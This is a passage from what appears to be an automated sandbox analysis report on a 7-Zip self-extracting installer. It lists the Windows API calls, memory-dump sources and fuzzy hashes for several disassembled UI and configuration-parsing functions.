                                                                                                                                                                                                                                                                                      • Part of subcall function 004021A8: GetWindowDC.USER32(00000000), ref: 004021B4
                                                                                                                                                                                                                                                                                      • Part of subcall function 004021A8: GetDeviceCaps.GDI32(00000000,00000058), ref: 004021C0
                                                                                                                                                                                                                                                                                      • Part of subcall function 004021A8: MulDiv.KERNEL32(00000000,00000064,00000060), ref: 004021D9
                                                                                                                                                                                                                                                                                      • Part of subcall function 004021A8: GetObjectW.GDI32(?,00000018,?), ref: 00402208
                                                                                                                                                                                                                                                                                      • Part of subcall function 004021A8: MulDiv.KERNEL32(?,00000003,00000002), ref: 00402213
                                                                                                                                                                                                                                                                                      • Part of subcall function 004021A8: MulDiv.KERNEL32(?,00000003,00000002), ref: 0040221D
                                                                                                                                                                                                                                                                                      • Part of subcall function 004021A8: CreateCompatibleDC.GDI32(?), ref: 0040222B
                                                                                                                                                                                                                                                                                      • Part of subcall function 004021A8: CreateCompatibleDC.GDI32(?), ref: 00402232
                                                                                                                                                                                                                                                                                      • Part of subcall function 004021A8: SelectObject.GDI32(00000000,?), ref: 00402240
                                                                                                                                                                                                                                                                                      • Part of subcall function 004021A8: CreateCompatibleBitmap.GDI32(?,?,?), ref: 0040224E
                                                                                                                                                                                                                                                                                      • Part of subcall function 004021A8: SelectObject.GDI32(00000000,00000000), ref: 00402256
                                                                                                                                                                                                                                                                                      • Part of subcall function 004021A8: SetStretchBltMode.GDI32(00000000,00000004), ref: 0040225E
                                                                                                                                                                                                                                                                                      • Part of subcall function 004021A8: StretchBlt.GDI32(00000000,00000000,00000000,?,?,00000000,00000000,00000000,?,?,00CC0020), ref: 0040227D
                                                                                                                                                                                                                                                                                      • Part of subcall function 004021A8: GetCurrentObject.GDI32(00000000,00000007), ref: 00402286
                                                                                                                                                                                                                                                                                      • Part of subcall function 004021A8: SelectObject.GDI32(00000000,?), ref: 00402293
                                                                                                                                                                                                                                                                                      • Part of subcall function 004021A8: SelectObject.GDI32(00000000,?), ref: 00402299
                                                                                                                                                                                                                                                                                      • Part of subcall function 004021A8: DeleteDC.GDI32(00000000), ref: 004022A2
                                                                                                                                                                                                                                                                                      • Part of subcall function 004021A8: DeleteDC.GDI32(00000000), ref: 004022A5
                                                                                                                                                                                                                                                                                      • Part of subcall function 004021A8: ReleaseDC.USER32(00000000,?), ref: 004022AC
                                                                                                                                                                                                                                                                                    • GetObjectW.GDI32(00000000,00000018,?), ref: 004023DF
                                                                                                                                                                                                                                                                                    • SetWindowPos.USER32(00000010,00000000,00000000,00000000,?,?,00000006), ref: 004023F3
                                                                                                                                                                                                                                                                                    • SendMessageW.USER32(00000010,00000172,00000000,?), ref: 00402405
                                                                                                                                                                                                                                                                                    • GlobalFree.KERNEL32(00000000), ref: 0040241A
                                                                                                                                                                                                                                                                                    Strings
                                                                                                                                                                                                                                                                                    Memory Dump Source
                                                                                                                                                                                                                                                                                    • Source File: 00000006.00000002.2933766458.0000000000401000.00000020.00000001.01000000.00000009.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                                                                                                                                    • Associated: 00000006.00000002.2933459232.0000000000400000.00000002.00000001.01000000.00000009.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000006.00000002.2934113359.000000000041A000.00000002.00000001.01000000.00000009.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000006.00000002.2934510033.000000000041E000.00000004.00000001.01000000.00000009.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000006.00000002.2934764946.0000000000423000.00000002.00000001.01000000.00000009.sdmpDownload File
                                                                                                                                                                                                                                                                                    Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                                                                    • Snapshot File: hcaresult_6_2_400000_5f0a381314.jbxd
                                                                                                                                                                                                                                                                                    Similarity
                                                                                                                                                                                                                                                                                    • API ID: Object$Resource$CreateGlobalSelect$CompatibleWindow$DeleteFindFreeLoadStretch$AllocBitmapCapsClassCurrentDeviceHandleInitializeLockLongMenuMessageModeModuleNamePictureReleaseSendSizeofStreamlstrcmpimemcpy
                                                                                                                                                                                                                                                                                    • String ID: IMAGES$STATIC
                                                                                                                                                                                                                                                                                    • API String ID: 4202116410-1168396491
                                                                                                                                                                                                                                                                                    • Opcode ID: 319126f5dc4d95ce062933b29b07fa50ef7377debf118cdda567db34e57cdb6f
                                                                                                                                                                                                                                                                                    • Instruction ID: 12319829fe5b29bb351e3d23e86017266b1b8e93f03e65421de7465a1357d20e
                                                                                                                                                                                                                                                                                    • Opcode Fuzzy Hash: 319126f5dc4d95ce062933b29b07fa50ef7377debf118cdda567db34e57cdb6f
                                                                                                                                                                                                                                                                                    • Instruction Fuzzy Hash: 54419A31901218BFCB129FA1CC4CDEEBFB9FF09715B008076F905A62A0D7798A51DB69
                                                                                                                                                                                                                                                                                    Function 00407A58 Relevance: 24.3, APIs: 16, Instructions: 294COMMON
                                                                                                                                                                                                                                                                                    Download Yara Rule
                                                                                                                                                                                                                                                                                    APIs
                                                                                                                                                                                                                                                                                    • GetDlgItem.USER32(?,000004B3), ref: 00407A80
                                                                                                                                                                                                                                                                                    • GetWindowLongW.USER32(00000000,000000F0), ref: 00407A85
                                                                                                                                                                                                                                                                                    • GetDlgItem.USER32(?,000004B4), ref: 00407ABC
                                                                                                                                                                                                                                                                                    • GetWindowLongW.USER32(00000000,000000F0), ref: 00407AC1
                                                                                                                                                                                                                                                                                    • GetSystemMetrics.USER32(00000010), ref: 00407B43
                                                                                                                                                                                                                                                                                    • GetSystemMetrics.USER32(00000011), ref: 00407B49
                                                                                                                                                                                                                                                                                    • GetSystemMetrics.USER32(00000008), ref: 00407B50
                                                                                                                                                                                                                                                                                    • GetSystemMetrics.USER32(00000007), ref: 00407B57
                                                                                                                                                                                                                                                                                    • GetParent.USER32(?), ref: 00407B7B
                                                                                                                                                                                                                                                                                    • GetClientRect.USER32(00000000,?), ref: 00407B8D
                                                                                                                                                                                                                                                                                    • ClientToScreen.USER32(?,?), ref: 00407BA0
                                                                                                                                                                                                                                                                                    • SetWindowPos.USER32(?,00000000,?,?,?,00000000,00000004), ref: 00407C06
                                                                                                                                                                                                                                                                                    • GetClientRect.USER32(?,?), ref: 00407CA0
                                                                                                                                                                                                                                                                                      • Part of subcall function 00407A29: GetDlgItem.USER32(?,?), ref: 00407A47
                                                                                                                                                                                                                                                                                      • Part of subcall function 00407A29: SetWindowPos.USER32(00000000), ref: 00407A4E
                                                                                                                                                                                                                                                                                    • ClientToScreen.USER32(?,?), ref: 00407BA9
                                                                                                                                                                                                                                                                                      • Part of subcall function 00407920: GetDlgItem.USER32(?,?), ref: 0040792C
                                                                                                                                                                                                                                                                                    • GetSystemMetrics.USER32(00000008), ref: 00407D25
                                                                                                                                                                                                                                                                                    • GetSystemMetrics.USER32(00000007), ref: 00407D2C
                                                                                                                                                                                                                                                                                    Memory Dump Source
                                                                                                                                                                                                                                                                                    • Source File: 00000006.00000002.2933766458.0000000000401000.00000020.00000001.01000000.00000009.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                                                                                                                                    • Associated: 00000006.00000002.2933459232.0000000000400000.00000002.00000001.01000000.00000009.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000006.00000002.2934113359.000000000041A000.00000002.00000001.01000000.00000009.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000006.00000002.2934510033.000000000041E000.00000004.00000001.01000000.00000009.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000006.00000002.2934764946.0000000000423000.00000002.00000001.01000000.00000009.sdmpDownload File
                                                                                                                                                                                                                                                                                    Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                                                                    • Snapshot File: hcaresult_6_2_400000_5f0a381314.jbxd
                                                                                                                                                                                                                                                                                    Similarity
                                                                                                                                                                                                                                                                                    • API ID: MetricsSystem$ClientItemWindow$LongRectScreen$Parent
                                                                                                                                                                                                                                                                                    • String ID:
                                                                                                                                                                                                                                                                                    • API String ID: 747815384-0
                                                                                                                                                                                                                                                                                    • Opcode ID: 5ad90722fe14a1231b09212549862ba01d9118f977830e8c8324fbeb544dab44
                                                                                                                                                                                                                                                                                    • Instruction ID: 68cc850d19f91a6f8b6e213b01393e3a0b6efc74fec8c50de4b66a5980513343
                                                                                                                                                                                                                                                                                    • Opcode Fuzzy Hash: 5ad90722fe14a1231b09212549862ba01d9118f977830e8c8324fbeb544dab44
                                                                                                                                                                                                                                                                                    • Instruction Fuzzy Hash: 30A13870E04209AFDB14DFBDCD85AAEBBF9EF48704F14452AE605F2281D678F9018B65
                                                                                                                                                                                                                                                                                    Function 004036F6 Relevance: 21.3, APIs: 10, Strings: 2, Instructions: 264COMMON
                                                                                                                                                                                                                                                                                    Download Yara Rule
                                                                                                                                                                                                                                                                                    APIs
                                                                                                                                                                                                                                                                                    • ??3@YAXPAX@Z.MSVCRT(?,00000000,00000000,0041E3F0,00000000), ref: 0040377F
                                                                                                                                                                                                                                                                                    • ??3@YAXPAX@Z.MSVCRT(?,?,00000000,00000000,0041E3F0,00000000), ref: 00403787
                                                                                                                                                                                                                                                                                    • ??3@YAXPAX@Z.MSVCRT(00404A6A,?), ref: 004039AD
                                                                                                                                                                                                                                                                                      • Part of subcall function 00402990: ??3@YAXPAX@Z.MSVCRT(?,?,00405791,?,00405D01,?,?,?,?,00405D01,7zSfxVarModulePlatform,x86), ref: 00402996
                                                                                                                                                                                                                                                                                      • Part of subcall function 00402990: ??3@YAXPAX@Z.MSVCRT(?,?,?,00405791,?,00405D01,?,?,?,?,00405D01,7zSfxVarModulePlatform,x86), ref: 0040299D
                                                                                                                                                                                                                                                                                    • ??3@YAXPAX@Z.MSVCRT(00404A6A,?,?,00000000,00000000,0041E3F0,00000000), ref: 004039DA
                                                                                                                                                                                                                                                                                    Strings
                                                                                                                                                                                                                                                                                    Memory Dump Source
                                                                                                                                                                                                                                                                                    • Source File: 00000006.00000002.2933766458.0000000000401000.00000020.00000001.01000000.00000009.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                                                                                                                                    • Associated: 00000006.00000002.2933459232.0000000000400000.00000002.00000001.01000000.00000009.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000006.00000002.2934113359.000000000041A000.00000002.00000001.01000000.00000009.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000006.00000002.2934510033.000000000041E000.00000004.00000001.01000000.00000009.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000006.00000002.2934764946.0000000000423000.00000002.00000001.01000000.00000009.sdmpDownload File
                                                                                                                                                                                                                                                                                    Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                                                                    • Snapshot File: hcaresult_6_2_400000_5f0a381314.jbxd
                                                                                                                                                                                                                                                                                    Similarity
                                                                                                                                                                                                                                                                                    • API ID: ??3@
                                                                                                                                                                                                                                                                                    • String ID: SetEnvironment${\rtf
                                                                                                                                                                                                                                                                                    • API String ID: 613200358-318139784
                                                                                                                                                                                                                                                                                    • Opcode ID: 9c91db27a8941fd50da050c674d3134fcc22a39ccbb8c0b40c6bb86ab884216b
                                                                                                                                                                                                                                                                                    • Instruction ID: 401acfcb82d7e6738f93d8480f5cee0d093a2887585a601c22b507f4e5910529
                                                                                                                                                                                                                                                                                    • Opcode Fuzzy Hash: 9c91db27a8941fd50da050c674d3134fcc22a39ccbb8c0b40c6bb86ab884216b
                                                                                                                                                                                                                                                                                    • Instruction Fuzzy Hash: B991C372900108ABDF11AFD5D941AEEBBB8AF14309F2480BBE841772D2D7785B06DB59
                                                                                                                                                                                                                                                                                    Function 0041945F Relevance: 21.1, APIs: 11, Strings: 1, Instructions: 111COMMON
                                                                                                                                                                                                                                                                                    Download Yara Rule
                                                                                                                                                                                                                                                                                    APIs
                                                                                                                                                                                                                                                                                    Strings
                                                                                                                                                                                                                                                                                    Memory Dump Source
                                                                                                                                                                                                                                                                                    • Source File: 00000006.00000002.2933766458.0000000000401000.00000020.00000001.01000000.00000009.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                                                                                                                                    • Associated: 00000006.00000002.2933459232.0000000000400000.00000002.00000001.01000000.00000009.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000006.00000002.2934113359.000000000041A000.00000002.00000001.01000000.00000009.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000006.00000002.2934510033.000000000041E000.00000004.00000001.01000000.00000009.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000006.00000002.2934764946.0000000000423000.00000002.00000001.01000000.00000009.sdmpDownload File
                                                                                                                                                                                                                                                                                    Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                                                                    • Snapshot File: hcaresult_6_2_400000_5f0a381314.jbxd
                                                                                                                                                                                                                                                                                    Similarity
                                                                                                                                                                                                                                                                                    • API ID: _initterm$FilterHandleInfoModuleStartupXcpt__getmainargs__p__commode__p__fmode__set_app_type__setusermatherrexit
                                                                                                                                                                                                                                                                                    • String ID: pA
                                                                                                                                                                                                                                                                                    • API String ID: 801014965-794713698
                                                                                                                                                                                                                                                                                    • Opcode ID: cae9fb80b135284d651053ec5c4070e0fe44fc22ae79128d29673caf091d45a2
                                                                                                                                                                                                                                                                                    • Instruction ID: 5929b0b6314edc43fbf3f3d2a0fc95e577a76ca797df3ab901b2fe2a182a5e0d
                                                                                                                                                                                                                                                                                    • Opcode Fuzzy Hash: cae9fb80b135284d651053ec5c4070e0fe44fc22ae79128d29673caf091d45a2
                                                                                                                                                                                                                                                                                    • Instruction Fuzzy Hash: 1141ADB2D41344BFDB22CFA5DC55AEABBB9FB09710F20012BE841A3291D7785D81CB59
                                                                                                                                                                                                                                                                                    Function 00407F86 Relevance: 16.6, APIs: 11, Instructions: 87windowCOMMON
                                                                                                                                                                                                                                                                                    Download Yara Rule
                                                                                                                                                                                                                                                                                    APIs
                                                                                                                                                                                                                                                                                    • GetParent.USER32(?), ref: 00407F94
                                                                                                                                                                                                                                                                                    • GetWindowLongW.USER32(00000000), ref: 00407F9B
                                                                                                                                                                                                                                                                                    • DefWindowProcW.USER32(?,?,?,?), ref: 00407FB1
                                                                                                                                                                                                                                                                                    • CallWindowProcW.USER32(?,?,?,?,?), ref: 00407FCE
                                                                                                                                                                                                                                                                                    • GetSystemMetrics.USER32(00000031), ref: 00407FE0
                                                                                                                                                                                                                                                                                    • GetSystemMetrics.USER32(00000032), ref: 00407FE7
                                                                                                                                                                                                                                                                                    • GetWindowDC.USER32(?), ref: 00407FF9
                                                                                                                                                                                                                                                                                    • GetWindowRect.USER32(?,?), ref: 00408006
                                                                                                                                                                                                                                                                                    • DrawIconEx.USER32(00000000,?,?,?,?,?,00000000,00000000,00000003), ref: 0040803A
                                                                                                                                                                                                                                                                                    • ReleaseDC.USER32(?,00000000), ref: 00408042
                                                                                                                                                                                                                                                                                    Memory Dump Source
                                                                                                                                                                                                                                                                                    • Source File: 00000006.00000002.2933766458.0000000000401000.00000020.00000001.01000000.00000009.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                                                                                                                                    • Associated: 00000006.00000002.2933459232.0000000000400000.00000002.00000001.01000000.00000009.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000006.00000002.2934113359.000000000041A000.00000002.00000001.01000000.00000009.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000006.00000002.2934510033.000000000041E000.00000004.00000001.01000000.00000009.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000006.00000002.2934764946.0000000000423000.00000002.00000001.01000000.00000009.sdmpDownload File
                                                                                                                                                                                                                                                                                    Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                                                                    • Snapshot File: hcaresult_6_2_400000_5f0a381314.jbxd
                                                                                                                                                                                                                                                                                    Similarity
                                                                                                                                                                                                                                                                                    • API ID: Window$MetricsProcSystem$CallDrawIconLongParentRectRelease
                                                                                                                                                                                                                                                                                    • String ID:
                                                                                                                                                                                                                                                                                    • API String ID: 2586545124-0
                                                                                                                                                                                                                                                                                    • Opcode ID: 02fb6cd533524937890b9fbe5e83660d242e66e068d65fd6c1c3ae9fb8eaf448
                                                                                                                                                                                                                                                                                    • Instruction ID: 8ffa6a621c4839b38abe7fa2179ce9be6ee40ef55f84cce8d9fec75f1bbbc175
                                                                                                                                                                                                                                                                                    • Opcode Fuzzy Hash: 02fb6cd533524937890b9fbe5e83660d242e66e068d65fd6c1c3ae9fb8eaf448
                                                                                                                                                                                                                                                                                    • Instruction Fuzzy Hash: 8D214F7650021ABFCB019FB8DD48EEF3B69FB08351F004525FA11E2291CB35D920CB65
                                                                                                                                                                                                                                                                                    Function 00409466 Relevance: 15.8, APIs: 8, Strings: 1, Instructions: 73windowCOMMON
                                                                                                                                                                                                                                                                                    Download Yara Rule
                                                                                                                                                                                                                                                                                    APIs
                                                                                                                                                                                                                                                                                      • Part of subcall function 004091A7: GetSystemDirectoryW.KERNEL32(?,00000104), ref: 004091EF
                                                                                                                                                                                                                                                                                      • Part of subcall function 004091A7: SHGetFileInfoW.SHELL32(?,00000000,?,000002B4,00000103), ref: 0040920F
                                                                                                                                                                                                                                                                                      • Part of subcall function 004091A7: GetDlgItem.USER32(?,000004B7), ref: 00409222
                                                                                                                                                                                                                                                                                      • Part of subcall function 004091A7: SetWindowLongW.USER32(00000000,000000FC,Function_00007F86), ref: 00409230
                                                                                                                                                                                                                                                                                      • Part of subcall function 0040793D: GetDlgItem.USER32(?,?), ref: 0040794A
                                                                                                                                                                                                                                                                                      • Part of subcall function 0040793D: ShowWindow.USER32(00000000,?), ref: 00407961
                                                                                                                                                                                                                                                                                      • Part of subcall function 00407920: GetDlgItem.USER32(?,?), ref: 0040792C
                                                                                                                                                                                                                                                                                    • GetDlgItem.USER32(?,000004B6), ref: 004094A8
                                                                                                                                                                                                                                                                                    • DestroyWindow.USER32(00000000), ref: 004094AB
                                                                                                                                                                                                                                                                                    • CreateWindowExA.USER32(00000200,Edit,0041A840,500100A0,?,?,?,?,?,000004B6,00000000,00000000), ref: 004094E1
                                                                                                                                                                                                                                                                                    • SendMessageW.USER32(?,00000031,00000000,00000000), ref: 004094F1
                                                                                                                                                                                                                                                                                    • GetDlgItem.USER32(?,000004B6), ref: 004094FE
                                                                                                                                                                                                                                                                                    • SendMessageW.USER32(00000000,00000030,?,00000001), ref: 00409508
                                                                                                                                                                                                                                                                                    • GetDlgItem.USER32(?,000004B6), ref: 00409512
                                                                                                                                                                                                                                                                                    • SetFocus.USER32(00000000), ref: 00409515
                                                                                                                                                                                                                                                                                    Strings
                                                                                                                                                                                                                                                                                    Memory Dump Source
                                                                                                                                                                                                                                                                                    • Source File: 00000006.00000002.2933766458.0000000000401000.00000020.00000001.01000000.00000009.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                                                                                                                                    • Associated: 00000006.00000002.2933459232.0000000000400000.00000002.00000001.01000000.00000009.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000006.00000002.2934113359.000000000041A000.00000002.00000001.01000000.00000009.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000006.00000002.2934510033.000000000041E000.00000004.00000001.01000000.00000009.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000006.00000002.2934764946.0000000000423000.00000002.00000001.01000000.00000009.sdmpDownload File
                                                                                                                                                                                                                                                                                    Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                                                                    • Snapshot File: hcaresult_6_2_400000_5f0a381314.jbxd
                                                                                                                                                                                                                                                                                    Similarity
                                                                                                                                                                                                                                                                                    • API ID: Item$Window$MessageSend$CreateDestroyDirectoryFileFocusInfoLongShowSystem
                                                                                                                                                                                                                                                                                    • String ID: Edit
                                                                                                                                                                                                                                                                                    • API String ID: 2563414232-554135844
                                                                                                                                                                                                                                                                                    • Opcode ID: 1c951395b049d258c5149e896e0566e3ea25c6708d6124f10a7b0945db6253a7
                                                                                                                                                                                                                                                                                    • Instruction ID: 4d71b540c7600c41684bbba3335aa98688d5166c257b7e93b864b054f1ea387c
                                                                                                                                                                                                                                                                                    • Opcode Fuzzy Hash: 1c951395b049d258c5149e896e0566e3ea25c6708d6124f10a7b0945db6253a7
                                                                                                                                                                                                                                                                                    • Instruction Fuzzy Hash: DA116A71A00204BFEB11ABE5DD49FAFBBBCEF48B00F104429B201F61A1C675AD50876D
                                                                                                                                                                                                                                                                                    Function 00403E98 Relevance: 14.1, APIs: 4, Strings: 4, Instructions: 92COMMON
                                                                                                                                                                                                                                                                                    Download Yara Rule
                                                                                                                                                                                                                                                                                    APIs
                                                                                                                                                                                                                                                                                    • ??3@YAXPAX@Z.MSVCRT(?,?,?,00000000,-00000001,;!@InstallEnd@!,;!@Install@!UTF-8!,?,00000000,00000000), ref: 00403EDF
                                                                                                                                                                                                                                                                                      • Part of subcall function 00402D03: ??3@YAXPAX@Z.MSVCRT(?,?,?,?,?,00000000,;!@Install@!UTF-8!,?,00000000,00000000), ref: 00402D76
                                                                                                                                                                                                                                                                                    • ??3@YAXPAX@Z.MSVCRT(?,?,?,00000000,-00000001,?,?,00000000,-00000001,;!@InstallEnd@!,;!@Install@!UTF-8!,?,00000000,00000000), ref: 00403F05
                                                                                                                                                                                                                                                                                    • wsprintfA.USER32 ref: 00403F27
                                                                                                                                                                                                                                                                                    • wsprintfA.USER32 ref: 00403F54
                                                                                                                                                                                                                                                                                    Strings
                                                                                                                                                                                                                                                                                    Memory Dump Source
                                                                                                                                                                                                                                                                                    • Source File: 00000006.00000002.2933766458.0000000000401000.00000020.00000001.01000000.00000009.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                                                                                                                                    • Associated: 00000006.00000002.2933459232.0000000000400000.00000002.00000001.01000000.00000009.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000006.00000002.2934113359.000000000041A000.00000002.00000001.01000000.00000009.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000006.00000002.2934510033.000000000041E000.00000004.00000001.01000000.00000009.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000006.00000002.2934764946.0000000000423000.00000002.00000001.01000000.00000009.sdmpDownload File
                                                                                                                                                                                                                                                                                    Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                                                                    • Snapshot File: hcaresult_6_2_400000_5f0a381314.jbxd
                                                                                                                                                                                                                                                                                    Similarity
                                                                                                                                                                                                                                                                                    • API ID: ??3@$wsprintf
                                                                                                                                                                                                                                                                                    • String ID: :%hs$:Language:%u$;!@Install@!UTF-8!$;!@InstallEnd@!
                                                                                                                                                                                                                                                                                    • API String ID: 2704270482-695273242
                                                                                                                                                                                                                                                                                    • Opcode ID: 33b53d402eec6e8f3b12914186b2c5884ffcd7aa6b788d70cfced2d98aefbe1a
                                                                                                                                                                                                                                                                                    • Instruction ID: 886d926ed7ba0351d4e9ba57da7cb0629939e873fb03075975f52044c447bd08
                                                                                                                                                                                                                                                                                    • Opcode Fuzzy Hash: 33b53d402eec6e8f3b12914186b2c5884ffcd7aa6b788d70cfced2d98aefbe1a
                                                                                                                                                                                                                                                                                    • Instruction Fuzzy Hash: 15218F71A005187BDB05EAA59C86EFE73ADAB48704F14402EF504E31D1CB7DAA068799
                                                                                                                                                                                                                                                                                    Function 0040778B Relevance: 13.5, APIs: 9, Instructions: 47windowCOMMON
                                                                                                                                                                                                                                                                                    Download Yara Rule
                                                                                                                                                                                                                                                                                    APIs
                                                                                                                                                                                                                                                                                    • GetDlgItem.USER32(?,000004B3), ref: 0040779F
                                                                                                                                                                                                                                                                                    • SendMessageW.USER32(00000000,000000F4,00000000,00000001), ref: 004077B2
                                                                                                                                                                                                                                                                                    • GetDlgItem.USER32(?,000004B4), ref: 004077BC
                                                                                                                                                                                                                                                                                    • SendMessageW.USER32(00000000,000000F4,00000000,00000001), ref: 004077C4
                                                                                                                                                                                                                                                                                    • SendMessageW.USER32(?,00000401,00000000,00000000), ref: 004077D4
                                                                                                                                                                                                                                                                                    • GetDlgItem.USER32(?,?), ref: 004077DD
                                                                                                                                                                                                                                                                                    • SendMessageW.USER32(00000000,000000F4,00000001,00000001), ref: 004077E5
                                                                                                                                                                                                                                                                                    • GetDlgItem.USER32(?,?), ref: 004077EE
                                                                                                                                                                                                                                                                                    • SetFocus.USER32(00000000,?,?,00000000,00408726,000004B3,00000000,?,000004B3), ref: 004077F1
                                                                                                                                                                                                                                                                                    Memory Dump Source
                                                                                                                                                                                                                                                                                    • Source File: 00000006.00000002.2933766458.0000000000401000.00000020.00000001.01000000.00000009.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                                                                                                                                    • Associated: 00000006.00000002.2933459232.0000000000400000.00000002.00000001.01000000.00000009.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000006.00000002.2934113359.000000000041A000.00000002.00000001.01000000.00000009.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000006.00000002.2934510033.000000000041E000.00000004.00000001.01000000.00000009.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000006.00000002.2934764946.0000000000423000.00000002.00000001.01000000.00000009.sdmpDownload File
                                                                                                                                                                                                                                                                                    Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                                                                    • Snapshot File: hcaresult_6_2_400000_5f0a381314.jbxd
                                                                                                                                                                                                                                                                                    Similarity
                                                                                                                                                                                                                                                                                    • API ID: ItemMessageSend$Focus
                                                                                                                                                                                                                                                                                    • String ID:
                                                                                                                                                                                                                                                                                    • API String ID: 3946207451-0
                                                                                                                                                                                                                                                                                    • Opcode ID: 68307c55e08eac57185263add51eb06e4822709b00eeca7ae34a923681d662df
                                                                                                                                                                                                                                                                                    • Instruction ID: d34367ada3e0903658dac9af1ca1aef10e4e5856eabac84c2cebdb26553fe681
                                                                                                                                                                                                                                                                                    • Opcode Fuzzy Hash: 68307c55e08eac57185263add51eb06e4822709b00eeca7ae34a923681d662df
                                                                                                                                                                                                                                                                                    • Instruction Fuzzy Hash: A4F04F712403087BEA216B61DD86F9BBB5EDF80B54F018425F354661F0CBF7AC209A29
                                                                                                                                                                                                                                                                                    Function 00407E01 Relevance: 12.1, APIs: 8, Instructions: 69COMMON
                                                                                                                                                                                                                                                                                    Download Yara Rule
                                                                                                                                                                                                                                                                                    APIs
                                                                                                                                                                                                                                                                                    • memcpy.MSVCRT(?,0041E470,00000160), ref: 00407E20
                                                                                                                                                                                                                                                                                    • SystemParametersInfoW.USER32(00000029,00000000,?,00000000), ref: 00407E3F
                                                                                                                                                                                                                                                                                    • GetDC.USER32(00000000), ref: 00407E4A
                                                                                                                                                                                                                                                                                    • GetDeviceCaps.GDI32(00000000,0000005A), ref: 00407E56
                                                                                                                                                                                                                                                                                    • MulDiv.KERNEL32(?,00000048,00000000), ref: 00407E65
                                                                                                                                                                                                                                                                                    • ReleaseDC.USER32(00000000,?), ref: 00407E73
                                                                                                                                                                                                                                                                                    • GetModuleHandleW.KERNEL32(00000000), ref: 00407E9B
                                                                                                                                                                                                                                                                                    • DialogBoxIndirectParamW.USER32(00000000,?,?,Function_00007643), ref: 00407ED0
                                                                                                                                                                                                                                                                                    Memory Dump Source
                                                                                                                                                                                                                                                                                    • Source File: 00000006.00000002.2933766458.0000000000401000.00000020.00000001.01000000.00000009.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                                                                                                                                    • Associated: 00000006.00000002.2933459232.0000000000400000.00000002.00000001.01000000.00000009.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000006.00000002.2934113359.000000000041A000.00000002.00000001.01000000.00000009.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000006.00000002.2934510033.000000000041E000.00000004.00000001.01000000.00000009.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000006.00000002.2934764946.0000000000423000.00000002.00000001.01000000.00000009.sdmpDownload File
                                                                                                                                                                                                                                                                                    Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                                                                    • Snapshot File: hcaresult_6_2_400000_5f0a381314.jbxd
                                                                                                                                                                                                                                                                                    Similarity
                                                                                                                                                                                                                                                                                    • API ID: CapsDeviceDialogHandleIndirectInfoModuleParamParametersReleaseSystemmemcpy
                                                                                                                                                                                                                                                                                    • String ID:
                                                                                                                                                                                                                                                                                    • API String ID: 2693764856-0
                                                                                                                                                                                                                                                                                    • Opcode ID: 6fe21de5e6cf46c2e38258430ab068c08d1ba9f3266b2be4710a35066139e936
                                                                                                                                                                                                                                                                                    • Instruction ID: 8154b001b0011d5121478cb58b91efa441906eea3886e432abe560883a3f5ac4
                                                                                                                                                                                                                                                                                    • Opcode Fuzzy Hash: 6fe21de5e6cf46c2e38258430ab068c08d1ba9f3266b2be4710a35066139e936
                                                                                                                                                                                                                                                                                    • Instruction Fuzzy Hash: 8421C375941318BFD7215BA1DD48EEB7B7CFF04301F0040B6FA09A2291D7744E948B6A
                                                                                                                                                                                                                                                                                    Function 0040796F Relevance: 12.1, APIs: 8, Instructions: 68COMMON
                                                                                                                                                                                                                                                                                    Download Yara Rule
                                                                                                                                                                                                                                                                                    APIs
                                                                                                                                                                                                                                                                                    • GetDC.USER32(?), ref: 0040797F
                                                                                                                                                                                                                                                                                    • GetSystemMetrics.USER32(0000000B), ref: 0040799B
                                                                                                                                                                                                                                                                                    • GetSystemMetrics.USER32(0000003D), ref: 004079A4
                                                                                                                                                                                                                                                                                    • GetSystemMetrics.USER32(0000003E), ref: 004079AC
                                                                                                                                                                                                                                                                                    • SelectObject.GDI32(?,?), ref: 004079C9
                                                                                                                                                                                                                                                                                    • DrawTextW.USER32(?,00000000,000000FF,?,?), ref: 004079E4
